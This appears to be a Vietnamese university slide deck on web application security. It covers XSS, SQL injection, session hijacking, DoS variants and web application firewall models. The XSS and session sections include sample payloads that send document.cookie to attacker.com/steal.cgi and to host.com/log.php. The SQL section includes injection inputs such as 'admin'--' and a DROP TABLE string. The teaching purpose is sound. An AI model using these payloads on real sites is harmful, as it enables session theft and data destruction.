MẬT ỨNG DỤNG WEB(12:15:54)
3.1 Thao tác trên tham số truyền

Những thông tin trao đổi giữa máy chủ và trình duyệt được lưu trữ trong những
biến như biến trên URL, biến ẩn Form, Cookie…

Bởi vì việc kiểm soát biến chưa được quan tâm đúng mức nên có thể lợi dụng sửa đổi
giá trị biến để đánh cắp phiên làm việc của người dùng hay thay đổi giá trị một món
hàng….

92
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)

3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)

Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn công bằng cách
chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những thông tin quan
trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web

Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy
người sử dụng.

93
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)

Giả lập một kịch bản tấn công XSS

94
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)

Giả lập một kịch bản tấn công XSS

Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hỏng XSS

Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web
(như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…).

Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của
người dùng như “Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ
bạn”…

95
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)

Giả lập một kịch bản tấn công XSS

Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker

<a href="http://hotwired.lycos.com/webmonkey/index1.html?
tw=<script>document.location.replace('http://www.attacker.com/
steal.cgi?'+document.cookie);</script>">

Một phần thưởng hấp dẫn đang chờ bạn

</a>

<script>
document.location.replace('http://www.attacker.com/steal.cgi?'+document.cookie);
</script>
96
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)

Giả lập một kịch bản tấn công XSS

Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một trang
Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin.

Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập
vào tài khoản của người dùng

97
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)

Cách phòng tránh

Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng Web cần phải thực
hiện vài bước cơ bản sau:
‐ Tạo ra danh sách những thẻ HTML được phép sử dụng.
‐ Xóa bỏ thẻ <script>
‐ Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related/PHP
‐ Lọc dấu nháy đơn hay kép
‐ Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho ứng dụng dù đã
lọc bỏ thẻ <script> vẫn không nhận ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null
này).
‐ Xóa những kí tự “ > ”, “ < ”
‐ Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn riêng.
98
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.2 Chèn mã lệnh thực thi trên trình duyệt (Cross Side Scripting)

Nhận xét chung

Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng lại ở mức
độ tấn công trên máy nạn nhân.

Vì thế, ngoài việc kiểm tra tính hợp lệ của dữ liệu thì người dùng cần hiểu và ý thức tốt về
an toàn thông tin cá nhân trước những thông tin lừa đừa trên môi trường mạng.

99
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.3 Chèn câu truy vấn SQL (SQL Injection)
‐ Lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong lớp database của ứng dụng
‐ Thi hành các truy vấn SQL bất hợp pháp
‐ Hậu quả: hacker có toàn quyền trên cơ sở dữ liệu của ứng dụng

Lỗi SQL Injection kết hợp với một số ký tự đặc biệt như:
‐ kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn

‐ kí tự “--” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng

100
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.3 Chèn câu truy vấn SQL (SQL Injection)

Sử dụng ký tự ‘ --‘ để loại bỏ một phần của truy vấn

"SELECT * FROM tblUsers WHERE " +


"Username='" + username + "' and Password='" + Hash(pass)+ "';"

Username: admin'--
Pass: anything

SELECT * FROM tblUsers WHERE


Username='admin' -- and Password= 'anything';

101
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.3 Chèn câu truy vấn SQL (SQL Injection)

Sử dụng ký tự ‘;’ để chèn thêm truy vấn vào sau

"SELECT * FROM data WHERE id= " + a_variable+ ";"

id: 1; DROP TABLE users

SELECT * FROM data WHERE id=1; DROP TABLE user;

id là kiểu số nguyên (int) thay vì chuỗi (string)


Lỗi: Thiếu sót trong việc kiểm tra kiểu dữ liệu đầu vào
102
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB(12:15:54)
3.3 Chèn câu truy vấn SQL (SQL Injection)

Tác hại

‐ Tin tặc có thể chèn mã độc vào CSDL


‐ Nếu ứng dụng dùng quyền sa, có thể dành quyền điều khiển toàn bộ
hệ quản trị CSDL
‐ Lượng lớn thông tin user, tài khoản, … rơi vào tay tin tặc.
‐ Tỉ lệ thành công bằng SQL Injection thường rất cao

103
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.3 Chèn câu truy vấn SQL (SQL Injection)

Cách phòng tránh

‐ Không cho hiển thị thông báo lỗi


‐ Hãy loại bỏ các kí tự meta như “',",/,\,;“ và các kí tự extend như NULL, CR, LF, ...
‐ Dùng thuật toán để mã hoá dữ liệu
‐ Giới hạn lại quyền khi thực thi các lệnh từ tài khoản SQL
+ Tránh dùng đến các quyền như sa hay root
+ Quyền càng hạn chế, thiệt hại càng ít.

104
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.4 Chiếm hứu phiên làm việc (Session Management)

Tổng quan về Session ID

‐ HTTP là giao thức truyền tải văn bản phi trạng thái
‐ Session -lưu trữ trạng thái làm việc giữa trình duyệt và máy chủ
‐ Session ID là khoá để chứng thực phiên làm việc.
‐ Session ID được lưu vào:
‐ Biến trên Url (query string)
‐ Biến ẩn form
‐ Cookies

105
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.4 Chiếm hữu phiên làm việc (Session Management)

Chiếm hữu phiên làm việc

‐ Đánh cắp phiên làm việc của nạn nhân


‐ Thiết lập phiên làm việc hợp lệ theo phương thức bất hợp lệ.

106
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WED
3.4 Chiếm hữu phiên làm việc (Session Management)

Cách thức đánh cắp SESSIONID


Đoán trước - Prediction sessionID.
– Hacker là người dùng hợp lệ.
– Xem xét các giá trị SESSIONID sau vài lần login
– Tìm ra qui luật phát sinh
 Đoán đươc phiên làm việc của người dùng kế tiếp

107
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.4 Chiếm hữu phiên làm việc (Session Management)

Cách thức đánh cắp SESSIONID


Vét cạn -Brute force ID
– Hacker tạo một tool request nhiều lần đến ứng dụng.
– Kèm theo một sessionid để tìm sessionid đang tồn tại.
– Hạn chế vùng quét cạn dựa vào thói quen dùng IP hay lấy thời gian để tạo SESSIONID của
ứng dụng

108
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.4 Chiếm hữu phiên làm việc (Session Management)

Cách thức đánh cắp SESSIONID


Dùng đoạn mã để đánh cắp sessionid
– Lừa người dùng click vào một liên kết (chứa mã độc)
– Từ đó thực hiện đánh cắp cookie từ máy người dùng
– Được thực hiện thông qua lỗi XSS (Cross-Site Scripting).

109
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.4 Chiếm hữu phiên làm việc (Session Management)

Ví dụ
- A là một member bình thường, B có quyền Admin.
- A và B cùng đăng nhập vào diễn đàn
- A gửi cho B một tin nhắn, hoặc post một bài vào một topic nào đó với nội dung có kèm một
tấm hình hoặc file flash đính kèm đoãn mã độc ẩn bên dưới.

<form action="http://host.com/log.php" method="post" name="XSS">


<input type="hidden" name="cookie“>
</form>
<img border="0" onmouseover="window.document.XSS.cookie.value =
document.cookie; window.document.XSS.submit();" src="none.jpg">

Khi rê chuột lên tấm hình, cookies của A sẽ được send về host.com.
110
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.4 Chiếm hữu phiên làm việc (Session Management)

Biện pháp phòng tránh

‐ Cần thuật toán tốt để tạo sessionid (gây khó khăn cho việc dự đoán của hacker).
‐ Xoá bỏ sessionid sau khi người dùng logout.
‐ Kết hợp SessionID với thông tin chứng thực mã hoá SSL của người dùng
‐ Thiết lập thời gian hết hiệu lực cho session, tránh trường hợp hacker có thể duy trì
session là sử dụng nó lâu dài.
‐ Áp dụng cách phòng chống như XSS

111
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
Một số câu hỏi
1. Hãy mô tả ngắn gọn cách khai thác các lỗ hỏng sau:
‐ XSS
‐ SQL Injection
‐ SESSION ID

2. Theo các bạn thì


Lỗ hỏng nào có mức độ ảnh hưởng cao nhất ?
Lỗ hỏng nào dễ khai thác nhất ?

112
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.5 Tràn bộ đệm (Buffer Overflow)

Khái niệm

Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp phát
khiến cho ứng dụng không thực thi được câu lệnh dự định kế tiếp mà thay vào đó phải
thực thi một đoạn mã bất kì do hacker đưa vào hệ thống.
Nghiêm trọng hơn nếu ứng dụng được cấu hình để thực thi với quyền root trên hệ
thống

113
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DDoS)

Khái niệm

Dos hay Denial of Service nghĩa là từ chối dịch vụ. Đây là một hình thức tấn công phổ biến
được khá nhiều hacker sử dụng hiện nay. Để tấn công từ chối dịch vụ Dos, tin tặc sẽ tạo ra một
lượng rất lớn các truy cập đến máy tính mục tiêu, khiến nó không kịp xử lý kịp các tác vụ cần
thiết từ đó dẫn đến quá tải và ngừng hoạt động.

DDos viết tắt của Distributed Denial of Service là tấn công từ chối dịch vụ phân tán và là phiên
bản nâng cấp của Dos vì rất khó bị ngăn chặn

114
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

Khái niệm
‐ Kiểu tấn công làm cho các dịch vụ mạng bị tê liệt, không còn khả năng đáp ứng được yêu cầu
nữa.
‐ Dễ thực hiện nhưng khó bảo vệ hệ thống khỏi kiểu tấn công DoS
‐ Ví dụ: dùng phần mềm gửi hàng loạt yêu cầu đến máy chủ khiến cho máy chủ không thể đáp
ứng những yêu cầu chính đáng khác

115
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

Một số kỹ thuật tấn công

Hiện nay, tin tặc thường sử dụng các kiểu tấn công DDos sau:

‐ SYN Flood ‐ Fraggle Attack

‐ UDP Flood ‐ Slowloris

‐ HTTP Flood ‐ Application Level Attack

‐ Ping of Death ‐ NTP Amplification

‐ Advanced Persistent Dos (APDos)

‐ Zero-day DDos Attack

116
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

SYN Flood

SYN Flood là hình thức tấn công được thực hiện để khai thác điểm yếu trong giao thức
kết nối mạng TCP.

Theo phương thức giao tiếp internet thông thường thì máy chủ sẽ nhận 1 thông điệp
nội bộ (SYN) để tiến hành “bắt tay” (handshake). Khi đã nhận được thông điệp, máy
chủ sẽ gửi cờ báo nhận (ACK) tới máy lưu trữ ban đầu và đóng kết nối.

Nhưng một khi tin tặc đã tấn công SYN Flood, các thông điệp giả mạo sẽ được
gửi đi liên tục, dẫn đến kết nối không được đóng lại và dịch vụ bị đánh sập.

117
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

SYN Flood

118
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

UDP Flood

UDP (User Datagram Protocol) được hiểu là giao thức kết nối không tin cậy. Theo đó,
UDP Flood sẽ tấn công gây ngập lụt UDP.

Khi thực hiện phương thức tấn công này, tin tặc sẽ gửi một lượng lớn các gói tin UDP
tới một số cổng ngẫu nhiên trên server. Máy chủ kiểm tra và trả lời với một ICMP
Destination Unreachable (gói tin không tìm thấy).

Khi số lượng yêu cầu UDP vượt quá ngưỡng cho phép, máy chủ sẽ mất khả
năng xử lý request, dẫn đến tình trạng từ chối dịch vụ.

119
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

UDP Flood

120
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

Ping of Death

Ping of Death là kỹ thuật tấn công làm quá tải hệ thống máy chủ trực tuyến bằng
cách gửi đến các gói tin ICMP có kích thước trên 65.536 byte đến mục tiêu. Bởi kích
thước tệp vượt quá mức cho phép của gói tin IP nên chúng sẽ được chia thành từng
phần nhỏ và gửi đến hệ thống máy đích.

Khi đến nơi, các phần này sẽ được phép lại thành một gói tin hoàn chỉnh vượt quá khả
năng xử lý của hệ thống, gây tràn bộ nhớ đệm và khiến máy chủ bị treo.

121
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

Slowloris

Tin tặc sẽ gửi đến server một lượng lớn yêu cầu HTTP không hoàn chỉnh. Đồng thời cố
gắng duy trì số kết nối tối đa trong thời gian dài.

Khi số lượng kết nối của webserver đạt cực đại (webserver bị đầy kết nối), máy chủ sẽ
bắt đầu từ chối những yêu cầu kết nối tiếp theo, bao gồm cả request của người dùng
thông thường.

122
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

Application Level Attack

Application Level Attack tấn công vào lỗ hổng bảo mật các thiết bị mạng, hệ điều
hành server. Đây được xem là loại tấn công tinh vi và gây ra hậu quả lớn nhất.

123
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

NTP Amplification

NTP Amplification là kiểu tấn công khai thác lỗ hổng tính năng Monlist của máy chủ
NTP. Monlist là gì? Monlist là danh sách các máy tính kết nối với máy chủ NTP. Cụ thể,
tin tặc sẽ gửi request yêu cầu Monlist đến NTP server bằng IP giả. Source IP bị giả
mạo chính là địa chỉ IP của máy tính mục tiêu. Vì vậy, các NTP server sẽ liên tục gửi
phản hồi Monlist về cho nạn nhân. Điều này khiến hệ thống webserver mục tiêu bị
quá tải.

Vì sử dụng IP giả mạo và có khả năng khuếch đại và sử dụng băng thông lớn nên NTP
Amplification là một kiểu tấn công “ném đá giấu tay” có tính phá hoại rất cao

124
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

Advanced Persistent Dos

Đây là một loại tấn công có thể gây ra nhiều thiệt hại nghiêm trọng cho nạn nhân.
Advanced Persistent Dos sử dụng kết hợp nhiều kiểu tấn công đã được đề cập ở trên.
Ví dụ như HTTP Flood, SYN Flood,….

Để làm quá tải hệ thống webserver mục tiêu. Thường thì APDos sẽ gửi hàng triệu yêu
cầu/giây và các cuộc tấn công này kéo dài hàng tuần.

125
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

Zero-day DDos Attack

Zero-day DDos Attack là một kiểu tấn công DDos mới, gây quá tải hệ thống bằng cách
khai thác các lỗ hổng chưa được vá của máy chủ.

126
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

Cách phòng tránh tấn công DDos


‐ Định tuyến hố đen

‐ Giới hạn tỷ lệ

‐ Tường lửa ứng dụng web (Web Application Firewall)

‐ Anycast Network Diffusion

127
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.6 Từ chối dịch vụ (DoS)

Cách nhận biết các cuộc tấn công Dos và DDos


‐ Kết nối mạng bỗng nhiên chậm một cách bất thường (khi mở file hoặc truy cập
website đều tốn rất nhiều thời gian).
‐ Không thể vào được các trang web bình thường vẫn truy cập. Thậm chí, nếu cuộc
tấn công quá mạnh, bạn sẽ không thể vào bất cứ website/blog nào.
‐ Số lượng thư rác trong tài khoản bỗng nhiên tăng đột biến.

128
CHƯƠNG 3: CÁC KỸ THUẬT TẤN CÔNG VÀ BẢO
MẬT ỨNG DỤNG WEB
3.7 Một số kỹ thuật khác

‐ Mã hóa URL.

‐ Kiểu tấn công vượt đường dẫn

‐ Tấn công dựa vào kí tự rỗng

‐ Ngôn ngữ trình chủ

129
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ
ỨNG DỤNG WEB (4:3:14)
130
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB (4:3:14)

4.1 Khái niệm thiết bị bảo vệ

4.2 Thiết bị bảo vệ lớp mạng

4.3 Thiết bị bảo vệ ứng dụng web

4.4 Kết hợp các giải pháp

131
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.1 Khái niệm thiết bị bảo vệ

Một hệ thống mạng bảo mật luôn phải đảm bảo các mục tiêu như
‐ Cho phép hoặc cấm những dịch vụ truy cập ra ngoài;
‐ Cho phép hoặc cấm những dịch vụ từ ngoài truy cập vào trong;
‐ Theo dõi luồng dữ liệu mạng giữa Internet và Intranet (mạng nội bộ);
‐ Kiểm soát và cấm địa chỉ truy nhập;
‐ Kiểm soát người sử dụng và việc truy cập của người sử dụng;
‐ Kiểm soát nội dung thông tin lưu chuyển trên mạng.

132
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.1 Khái niệm thiết bị bảo vệ

Kết nối bên ngoài:


Bao gồm các thiết bị định tuyến
kết nối ADSL, Lease-line… cùng
các thiết bị cân bằng tải.

133
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.1 Khái niệm thiết bị bảo vệ

Kết nối bảo mật:


Các thiết bị tường lửa
(Firewall), các hệ thống
phòng chống tấn công
IDS/IPS... và phần mềm
giám sát hệ thống.

134
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.1 Khái niệm thiết bị bảo vệ

Hệ thống máy chủ:


Các máy chủ (server) cài đặt hệ điều hành Windows, Linux… và các giải pháp
phòng chống virus, chống thư rác (spam mail)...

135
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.1 Khái niệm thiết bị bảo vệ

Hệ thống lưu trữ:


Các thiết bị lưu trữ dữ liệu tích hợp SAN (Storage Area Network), NAS,...

136
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.2 Thiết bị bảo vệ lớp mạng

137
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.2 Thiết bị bảo vệ lớp mạng

Chúng ta nhìn thấy một số vấn đề nổi bật về bảo mật thông tin như:
- Các cuộc tấn công, xâm hại vào các hệ thống website diễn ra ngày càng liên
tục và tinh vi.
- Các hệ thống máy chủ được trang bị tất cả các giải pháp bảo mật tiên tiến vẫn
chịu sự tấn công trực tiếp mà không ngăn chặn hoàn toàn được.

138
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.2 Thiết bị bảo vệ lớp mạng

Theo thống kê các phương thức tấn công mạng phổ biến hiện nay, các kiểu tấn
công truyền thống như SQL Injection, Cross-Site Script, Brute Force... vẫn
đang gây thiệt hại cho hệ thống mạng dù đã được cảnh báo từ rất lâu.

139
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.2 Thiết bị bảo vệ lớp mạng

Các thiết bị bảo mật hiện nay như


tường lửa (Firewall), IPS/IDS sẽ không
thể giám sát, đánh giá được hết các
ứng dụng được xây dựng trên nền
tảng web (cụ thể ở đây là giao thức
HTTP/HTTPS).

Chỉ có các thiết bị bảo vệ ứng dụng


web trước các cuộc tấn công - Web
Application Firewall (WAF) chuyên
dụng mới đáp ứng yêu cầu này.

140
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web

Web Application Firewall: Hay


còn được gọi là tường lửa ứng
dụng được thiết kế để kiểm soát
truy cập từ một mạng không tin
cậy đến mạng tin cậy và ngược
lại.

141
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB

?
4.3 Thiết bị bảo vệ ứng dụng web

Vậy điểm khác nhau giữa tường lửa và WAF là gì

Tường lửa (Firewall) là một hệ thống an ninh mạng sử dụng các quy tắc để kiểm
soát traffic vào, ra khỏi hệ thống.

Còn đối với WAF (Web Application Firewall) thì đây là một giải pháp nhằm
bảo vệ cho ứng dụng web tránh khỏi các lỗi bảo mật và các cuộc tấn công, mã độc
từ tin tặc, khai thác các lỗ hổng về giao thức.

142
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web

a. Kiến trúc tường lửa ứng dụng web

Các thiết bị WAF cứng thường được đặt sau tường lửa mạng và trước máy chủ
ứng dụng web.

Việc đặt WAF được thực hiện sao cho tất cả các lưu lượng đến ứng dụng web cần
qua WAF trước.

Ngoài ra, các chương trình WAF còn được cài đặt trực tiếp lên máy chủ web và thực
hiện các chức năng tương tự như các thiết bị WAF.

143
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web

b. Mô hình hoạt động:

WAF có thể hoạt động ở các mô hình riêng biệt

Reverse Proxy: Trong mô hình này, WAF đứng ra làm trung gian để gửi các yêu cầu
này đến máy chủ web thay cho trình duyệt gốc rồi gửi trả lại kết quả cho các địa chỉ
IP kia. Mô hình này có nhược điểm là tạo ra độ trễ khi kết nối từ trình duyệt
đến ứng dụng web.

144
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web

b. Mô hình hoạt động:

WAF có thể hoạt động ở các mô hình riêng biệt

Transparent Proxy: WAF đứng giữa tường lửa mạng và máy chủ web và hoạt động
tương tự ở mô hình Reverse Proxy nhưng không đứng ra làm trung gian kết nối như
bên Reverse Proxy. Mô hình này không đòi hỏi phải thay đổi điều gì trong hạ tầng
mạng nhưng có thể không cung cấp được một số dịch vụ như mô hình Reverse Proxy
có thể.

145
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web

b. Mô hình hoạt động:

WAF có thể hoạt động ở các mô hình riêng biệt

Layer 2 Brigde: WAF đứng giữa tường lửa mạng và máy chủ web, nhưng hoạt động
giống như một thiết bị Switch ở lớp 2. Mô hình này giúp mạng hoạt động với hiệu
năng cao và mạng thay đổi không đáng kể, tuy nhiên nó lại không thể cung cấp các
dịch vụ cao cấp khác mà các mô hình WAF khác có thể.

146
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web

b. Mô hình hoạt động:

WAF có thể hoạt động ở các mô hình riêng biệt

Host/Server Based: Đây là các phần mềm được cài trực tiếp lên máy chủ web. Các
loại Host based không cung cấp các tính năng tương tự như các loại WAF network
base.

Tuy nhiên mô hình này có thể khắc phục được vài điểm yếu mà các mô hình network
base (các thiết bị WAF cứng) có. Tuy nhiên nó cũng làm tăng mức độ tải của máy chủ
web.

147
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web

d. Một số câu hỏi

1. Hãy so sánh 4 mô hình triển khai WAF ? Ưu, khuyết điểm của chúng ?

2. Tường lửa mạng có thể thay thế được cho WAF được hay không ?

3. Đối với cơ quan, tổ chức vừa và nhỏ có cần thiết phải trang bị WAF ?

148
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB
4.3 Thiết bị bảo vệ ứng dụng web

c. Một số thiết bị WAF

149
CHƯƠNG 4: CÁC THIẾT BỊ BẢO VỆ ỨNG DỤNG
WEB (4:3:14)

4.1 Khái niệm thiết bị bảo vệ

4.2 Thiết bị bảo vệ lớp mạng

4.3 Thiết bị bảo vệ ứng dụng web

4.4 Kết hợp các giải pháp

150

You might also like